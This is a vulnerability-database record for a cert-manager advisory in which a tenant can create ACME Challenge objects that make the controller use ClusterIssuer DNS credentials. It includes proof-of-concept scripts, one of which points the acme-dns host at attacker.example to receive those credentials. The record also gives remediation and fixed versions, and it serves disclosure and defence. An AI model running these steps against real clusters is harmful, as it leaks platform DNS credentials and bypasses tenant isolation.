{"id":"CVE-2026-62290","kind":"vulnerability","aliases":["CVE-2026-62290","GHSA-8rvj-mm4h-c258"],"related":[],"title":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","description":"## Summary\n\n`Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration.\n\nWhen the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.\n\nIn the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace.\n\n## Attack preconditions\n\n- The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace.\n- The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide.\n- A usable `ClusterIssuer` exists in the cluster.\n- The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`.\n- The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.\n\n## Severity\n\nRationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.\n\n## Why this is not just RBAC misconfiguration\n\ncert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`.\n\nThe security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object.\n\n## Affected components\n\n- ACME Challenge admission validation\n- ACME Challenge controller\n- DNS01 solver selection and DNS provider construction\n- Default aggregate RBAC for `challenges.acme.cert-manager.io`\n\n## Affected versions tested\n\nThe issue was reproduced on:\n\n- `master` commit `2c0f1a6a4`\n- latest production release `v1.20.2` commit `e5b7b1845`\n- `v1.19.5` commit `cda7b7896`\n- `v1.18.6` commit `4699caabb`\n\nSee `VERSION_TEST_MATRIX.md` for the command matrix and outputs.\n\n## Technical details\n\nRelevant code paths:\n\n- `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create.\n- `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`.\n- `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges.\n- `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`.\n- `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge.\n- `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument.\n- `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`.\n- `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace.\n- `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`.\n- `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled.\n- `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`.\n\nThe normal `Order` flow selects a solver from the Issuer:\n\n- `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated.\n- `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected.\n- `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge.\n\nThe direct `Challenge` flow skips that selection entirely because the direct object already contains a solver.\n\n## Proof of concept\n\n### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge\n\nThe following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.\n\nThe ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.\n\nA broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.\n\nRun from the cert-manager repository root:\n\n```bash\nset -euo pipefail\n\nname=cm-direct-challenge-poc\ndocker rm -f \"$name\" >/dev/null 2>&1 || true\ndocker run -d --name \"$name\" --privileged -v \"$PWD\":/repo rancher/k3s:v1.33.4-k3s1 \\\n  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null\n\ncleanup() {\n  docker rm -f \"$name\" >/dev/null 2>&1 || true\n}\ntrap cleanup EXIT\n\nfor i in $(seq 1 90); do\n  docker exec \"$name\" kubectl get --raw=/readyz >/dev/null 2>&1 && break\n  sleep 2\ndone\n\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null\ndocker exec \"$name\" kubectl create ns tenant >/dev/null\ndocker exec \"$name\" kubectl create ns cert-manager >/dev/null\ndocker exec \"$name\" kubectl -n tenant create sa bob >/dev/null\n\ndocker exec \"$name\" kubectl -n cert-manager create secret generic cluster-acmedns-account \\\n  --from-literal=accounts.json='{\"victim.example.com\":{\"username\":\"victim-user\",\"password\":\"victim-pass\",\"fulldomain\":\"x.example.org\",\"subdomain\":\"x\"}}' >/dev/null\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: cert-manager.io/v1\nkind: ClusterIssuer\nmetadata:\n  name: cluster-prod\nspec:\n  acme:\n    email: admin@example.com\n    server: https://acme-staging-v02.api.letsencrypt.org/directory\n    privateKeySecretRef:\n      name: cluster-prod-account-key\n    solvers:\n    - selector:\n        dnsZones:\n        - victim.example.com\n      dns01:\n        acmeDNS:\n          host: https://legit-acmedns.example\n          accountSecretRef:\n            name: cluster-acmedns-account\n            key: accounts.json\nYAML\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: challenge-create-only\n  namespace: tenant\nrules:\n- apiGroups: [\"acme.cert-manager.io\"]\n  resources: [\"challenges\"]\n  verbs: [\"create\", \"get\", \"list\", \"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: bob-challenge-create-only\n  namespace: tenant\nsubjects:\n- kind: ServiceAccount\n  name: bob\n  namespace: tenant\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: challenge-create-only\nYAML\n\necho \"bob create challenges: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)\"\necho \"bob get cert-manager secret: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)\"\necho \"bob get clusterissuer: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)\"\necho \"ClusterIssuer solver policy: $(docker exec \"$name\" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{\" \"}{.spec.acme.solvers[0].dns01.acmeDNS.host}')\"\n\ndocker exec -i \"$name\" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'\napiVersion: acme.cert-manager.io/v1\nkind: Challenge\nmetadata:\n  name: direct-dns01\nspec:\n  authorizationURL: https://attacker.example/acme/authz/1\n  dnsName: victim.example.com\n  issuerRef:\n    group: cert-manager.io\n    kind: ClusterIssuer\n    name: cluster-prod\n  key: attacker-key\n  token: attacker-token\n  type: DNS-01\n  url: https://attacker.example/acme/chal/1\n  solver:\n    dns01:\n      acmeDNS:\n        host: https://attacker.example/acmedns\n        accountSecretRef:\n          name: cluster-acmedns-account\n          key: accounts.json\nYAML\n\ndocker exec \"$name\" kubectl -n tenant get challenge direct-dns01 \\\n  -o jsonpath='{.spec.issuerRef.kind}{\" \"}{.spec.dnsName}{\" \"}{.spec.solver.dns01.acmeDNS.host}{\" \"}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{\"\\n\"}'\n```\n\nExpected output:\n\n```text\nbob create challenges: yes\nbob get cert-manager secret: no\nbob get clusterissuer: no\nClusterIssuer solver policy: victim.example.com https://legit-acmedns.example\nchallenge.acme.cert-manager.io/direct-dns01 created\nClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account\n```\n\nThis proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.\n\n### PoC B: acme-dns provider sends referenced credentials to the configured host\n\nThis self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.\n\nRun from repository root:\n\n```bash\nset -euo pipefail\n\ncat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'\npackage acmedns\n\nimport (\n        \"context\"\n        \"net/http\"\n        \"net/http/httptest\"\n        \"testing\"\n)\n\nfunc TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {\n        var gotUser, gotKey, gotPath string\n\n        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                gotPath = r.URL.Path\n                gotUser = r.Header.Get(\"X-Api-User\")\n                gotKey = r.Header.Get(\"X-Api-Key\")\n                w.Header().Set(\"Content-Type\", \"application/json\")\n                w.WriteHeader(http.StatusOK)\n                w.Write([]byte(`{\"txt\":\"ok\"}`))\n        }))\n        defer ts.Close()\n\n        accountJSON := []byte(`{\n                \"victim.example.com\": {\n                        \"username\": \"victim-user\",\n                        \"password\": \"victim-pass\",\n                        \"fulldomain\": \"x.example.org\",\n                        \"subdomain\": \"x\"\n                }\n        }`)\n\n        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)\n        if err != nil {\n                t.Fatal(err)\n        }\n\n        if err := provider.Present(context.Background(), \"victim.example.com\", \"\", \"txt-value\"); err != nil {\n                t.Fatal(err)\n        }\n\n        if gotPath != \"/update\" {\n                t.Fatalf(\"path = %q, want /update\", gotPath)\n        }\n        if gotUser != \"victim-user\" {\n                t.Fatalf(\"X-Api-User = %q, want victim-user\", gotUser)\n        }\n        if gotKey != \"victim-pass\" {\n                t.Fatalf(\"X-Api-Key = %q, want victim-pass\", gotKey)\n        }\n}\nEOF\n\ndocker run --rm \\\n  -v \"$PWD\":/repo \\\n  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \\\n  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \\\n  -w /repo golang:1.26-bookworm \\\n  go test ./pkg/issuer/acme/dns/acmedns \\\n  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \\\n  -count=1 -v\n\nrm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go\n```\n\nExpected output:\n\n```text\n=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n```\n\nCombined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.\n\n## Credential impact scope\n\nThe concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON.\n\nFor other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.\n\n## Expected behavior\n\nUsers should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.\n\n## Actual behavior\n\nA user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings.\n\n## Suggested remediation\n\nPossible mitigations:\n\n- Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge.\n- Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.\n- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.\n- Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary.\n- Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.","summary":"A namespace user who can create ACME Challenge resources can supply their own DNS solver configuration, which cert-manager then uses with the ClusterIssuer's DNS credentials. With acme-dns, the attacker-chosen host receives the referenced account credentials as HTTP headers, and the Issuer's DNS name policy can be bypassed.","severity":"high","cvss":7.3,"epss":0.00112,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/cert-manager/cert-manager","fixed":["1.19.6"],"affected":">= 1.18.0, < 1.19.6","ecosystem":"go"},{"name":"github.com/cert-manager/cert-manager","fixed":["1.20.3"],"affected":">= 1.20.0-alpha.0, < 1.20.3","ecosystem":"go"},{"name":"linuxfoundation cert-manager","fixed":["1.19.6"],"affected":">= 1.18.0, < 1.19.6","ecosystem":"vendor"},{"name":"linuxfoundation cert-manager","fixed":["1.20.3"],"affected":">= 1.20.0, < 1.20.3","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["acme","acme-dns","cert-manager","cwe-863","dns01","infrastructure","kubernetes","multi-tenant"],"not_affected_if":["default-rbac-only-platform-admins","issuer-only-no-clusterissuer","managed-hosting","no-clusterissuer-dns01"],"how_to_check":"- Run `kubectl get deployment -A -o jsonpath='{.items[*].spec.template.spec.containers[*].image}'` and look for cert-manager images below `1.19.6` or in the `1.20.0-alpha.0` to `1.20.2` range.\n- Run `kubectl auth can-i create challenges.acme.cert-manager.io -n <namespace> --as=<user>` for namespace users to see who can create direct Challenges.\n- Check whether any ClusterIssuer uses a DNS01 solver with a Secret or ambient credentials: `kubectl get clusterissuer -o yaml`.","fix":"- cert-manager `1.18.x`: move to `1.19.6`\n- cert-manager `1.19.x`: move to `1.19.6`\n- cert-manager `1.20.x`: move to `1.20.3`","status":"open","published_at":"2026-07-16T20:16:46+00:00","first_seen_at":"2026-10-29T16:44:11+00:00","triaged_at":"2026-10-29T16:46:03+00:00","updated_at":"2026-10-29T16:56:32+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-10-29T16:46:03Z","model":"claude-haiku-5-5","output":{"fix":"- cert-manager `1.18.x`: move to `1.19.6`\n- cert-manager `1.19.x`: move to `1.19.6`\n- cert-manager `1.20.x`: move to `1.20.3`","reach":"network","title":"cert-manager: direct ACME Challenge objects can use ClusterIssuer DNS credentials","impact":"high","summary":"A namespace user who can create ACME Challenge resources can supply their own DNS solver configuration, which cert-manager then uses with the ClusterIssuer's DNS credentials. With acme-dns, the attacker-chosen host receives the referenced account credentials as HTTP headers, and the Issuer's DNS name policy can be bypassed.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["cert-manager","kubernetes","acme","dns01","multi-tenant","acme-dns"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"DNS provider credentials leak to attacker host and DNS records change","analyst_note":"Confirm the exact fixed-version boundaries and whether the aggregate edit role change is included in the 1.19.6 and 1.20.3 releases, using the GHSA-8rvj-mm4h-c258 advisory and linked release pages.","how_to_check":"- Run `kubectl get deployment -A -o jsonpath='{.items[*].spec.template.spec.containers[*].image}'` and look for cert-manager images below `1.19.6` or in the `1.20.0-alpha.0` to `1.20.2` range.\n- Run `kubectl auth can-i create challenges.acme.cert-manager.io -n <namespace> --as=<user>` for namespace users to see who can create direct Challenges.\n- Check whether any ClusterIssuer uses a DNS01 solver with a Secret or ambient credentials: `kubectl get clusterissuer -o yaml`.","plain_action":"","needs_analyst":true,"not_affected_if":["default-rbac-only-platform-admins","no-clusterissuer-dns01","issuer-only-no-clusterissuer","managed-hosting"],"who_is_affected":"Clusters running cert-manager in the affected ranges that also have a ClusterIssuer with a DNS01 solver backed by a Secret or ambient credentials, and where some namespace users are not fully trusted. Any user or role that can create challenges.acme.cert-manager.io, including through cert-manager's aggregate edit role, can trigger it. Single-tenant clusters where only platform staff can create Challenges are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001385,"input_tokens":9199,"output_tokens":931,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':20A,28A '-45':629C '-62290':21A,29A '-863':52B '/cert-manager/cert-manager':32A,35A '2c0f1a6a4':601C '44':628C '4699caabb':613C '8rvj':24A 'accept':560C 'account':99B,416C 'acm':5A,44B,46B,65B,89B,151C,243C,301C,366C,405C,414C,480C,572C,576C 'acme-dn':45B,88B,242C,404C,413C 'acme.cert-manager.io':118C 'administr':357C 'admiss':133C,574C 'affect':570C,591C 'aggreg':378C,503C,587C 'ambient':185C,333C,393C,554C 'ambient-credenti':184C 'api':261C,266C 'attack':93B,200C,233C,253C,279C,282C,421C 'attacker-chosen':92B 'attacker-control':199C,252C,420C 'attacker-select':232C 'authorit':525C 'becom':247C 'boundari':532C,546C 'bypass':9A,113B,209C,435C,544C 'c258':26A 'case':245C 'caus':382C 'cda7b7896':610C 'cert':2A,38A,42A,49B,77B,129C,175C,224C,272C,294C,375C,460C,488C 'cert-manag':1A,48B,76B,128C,174C,223C,271C,293C,374C,459C,487C 'cert-manager':37A,41A 'challeng':6A,66B,115C,137C,152C,170C,302C,367C,475C,477C,542C,568C,573C,577C,646C 'challenge.spec.solver':161C,203C,523C 'challenges.acme.cert-manager.io':285C,590C 'chosen':94B 'cloud':394C 'cluster':305C,313C,327C,339C,385C 'cluster-scop':384C 'cluster-wid':304C 'clusterissu':16A,83B,173C,190C,211C,228C,276C,309C,316C,337C,499C,529C 'code':625C 'command':618C 'commit':600C,606C,609C,612C 'compon':571C 'configur':74B,166C,196C,540C,564C 'construct':585C 'control':153C,201C,226C,254C,296C,387C,422C,514C,522C,549C,578C,643C 'creat':64B,121C,127C,284C,368C,474C,510C,635C 'creation':543C 'credenti':18A,86B,100B,186C,230C,248C,334C,356C,391C,395C,417C,431C,446C,539C,551C,555C 'cve':19A,27A 'cwe':51B 'default':501C,586C 'demonstr':451C 'deploy/crds/acme.cert-manager.io_challenges.yaml':636C 'deriv':177C,550C 'detail':623C 'direct':4A,122C,157C,169C,541C 'disclos':410C 'disclosur':249C,447C 'dns':17A,47B,72B,85B,90B,108B,179C,194C,229C,238C,244C,355C,390C,406C,415C,426C,438C,562C,583C 'dns01':11A,53B,164C,319C,579C 'dnsname':217C 'dnszone':216C 'document':463C 'e5b7b1845':607C 'edit':379C 'enabl':335C 'end':465C 'end-us':464C 'endpoint':423C 'error':633C 'exist':310C 'field':644C 'generat':483C 'ghsa':23A 'ghsa-8rvj-mm4h-c258':22A 'github.com':31A,34A 'github.com/cert-manager/cert-manager':30A,33A 'grant':372C,505C 'header':103B,268C 'host':95B,256C 'http':102B 'impact':429C 'includ':370C 'infrastructur':54B 'intend':400C 'intern':479C 'internal/apis/acme/validation/challenge.go':627C 'issu':595C 'issuer':10A,106B,147C,210C,398C,433C,497C 'issuer-select':146C 'issuer/clusterissuer':353C,535C 'issuerref':558C 'key':267C 'kubernet':55B 'latest':602C 'least':289C 'let':205C 'level':365C 'linuxfoundation':36A,40A 'load':269C 'make':221C 'manag':3A,50B,78B,130C,176C,225C,273C,295C,376C,461C,489C 'manager':39A,43A 'manual':473C 'master':599C 'matchlabel':219C 'matrix':619C 'misconfigur':458C 'mm4h':25A 'multi':57B,342C 'multi-ten':56B,341C 'mutat':439C 'name':109B,239C 'namespac':60B,124C,182C,207C,278C,291C,329C,347C,364C,506C,552C 'namespace-level':363C 'object':482C,569C 'one':290C 'order':140C,485C 'otherwis':345C 'output':621C 'outsid':396C 'own':352C 'owner':142C 'path':448C,626C 'perform':131C 'permiss':369C,371C,508C,556C 'pkg/controller/acmechallenges/scheduler/scheduler.go':647C 'platform':351C 'platform-own':350C 'polici':13A,110B,187C,402C,434C,537C 'precondit':280C 'product':603C 'provid':165C,180C,195C,235C,427C,444C,563C,584C 'provider-specif':443C 'rational':359C 'rbac':457C,588C 'receiv':96B,257C 'reconcil':155C,300C 'refer':143C,171C,191C 'referenc':98B,315C,412C,496C,528C 'releas':604C 'relev':624C 'reli':331C 'reproduc':597C 'requir':470C,640C 'resourc':7A,67B,116C,158C,277C,286C,303C,328C,476C,512C 'return':631C 'risk':440C 'role':380C,504C 'run':298C 'scope':386C 'secret':181C,324C 'secur':531C 'see':614C 'select':148C,234C,491C,581C 'selector':213C 'separ':346C,450C 'set':236C 'sever':358C 'solver':12A,73B,149C,212C,255C,320C,401C,493C,536C,580C 'spec.solver':637C 'specif':407C,445C 'still':515C 'summari':114C 'suppli':69B 'technic':622C 'tenant':58B,343C,361C 'test':593C 'tie':135C 'treat':518C 'unauthor':437C 'unless':441C 'untrust':567C 'usabl':308C 'use':15A,80B,160C,227C,322C,389C,432C 'user':61B,125C,208C,262C,348C,466C,471C,507C,521C,642C 'user-control':520C,641C 'v1.18.6':611C 'v1.19.5':608C 'v1.20.2':605C 'valid':134C,575C 'validatechalleng':630C 'version':592C 'version_test_matrix.md':615C 'wide':306C 'workflow':467C,481C 'x':260C,265C 'x-api-key':264C 'x-api-us':259C","nicknames":[],"mitigations":[],"who_affected":"Clusters running cert-manager in the affected ranges that also have a ClusterIssuer with a DNS01 solver backed by a Secret or ambient credentials, and where some namespace users are not fully trusted. Any user or role that can create challenges.acme.cert-manager.io, including through cert-manager's aggregate edit role, can trigger it. Single-tenant clusters where only platform staff can create Challenges are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-07-16T20:16:46+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8rvj-mm4h-c258","url":"https://github.com/advisories/GHSA-8rvj-mm4h-c258","severity":"high","published_at":"2026-10-29T16:39:41+00:00","modified_at":"2026-10-29T16:39:44+00:00","first_seen_at":"2026-10-29T16:44:11+00:00","fetched_at":"2026-10-29T16:44:11+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-62290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290","severity":null,"published_at":"2026-07-16T20:16:46+00:00","modified_at":"2026-07-30T14:27:48+00:00","first_seen_at":"2026-10-29T16:56:32+00:00","fetched_at":"2026-10-29T16:56:32+00:00","note":null}],"documents":[{"id":17892,"url":"https://api.github.com/repos/cert-manager/cert-manager/security-advisories/GHSA-8rvj-mm4h-c258","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":17893,"url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":17894,"url":"https://github.com/cert-manager/cert-manager/pull/8940","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":17895,"url":"https://github.com/cert-manager/cert-manager/pull/8941","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":17896,"url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":17897,"url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":17898,"url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":17899,"url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}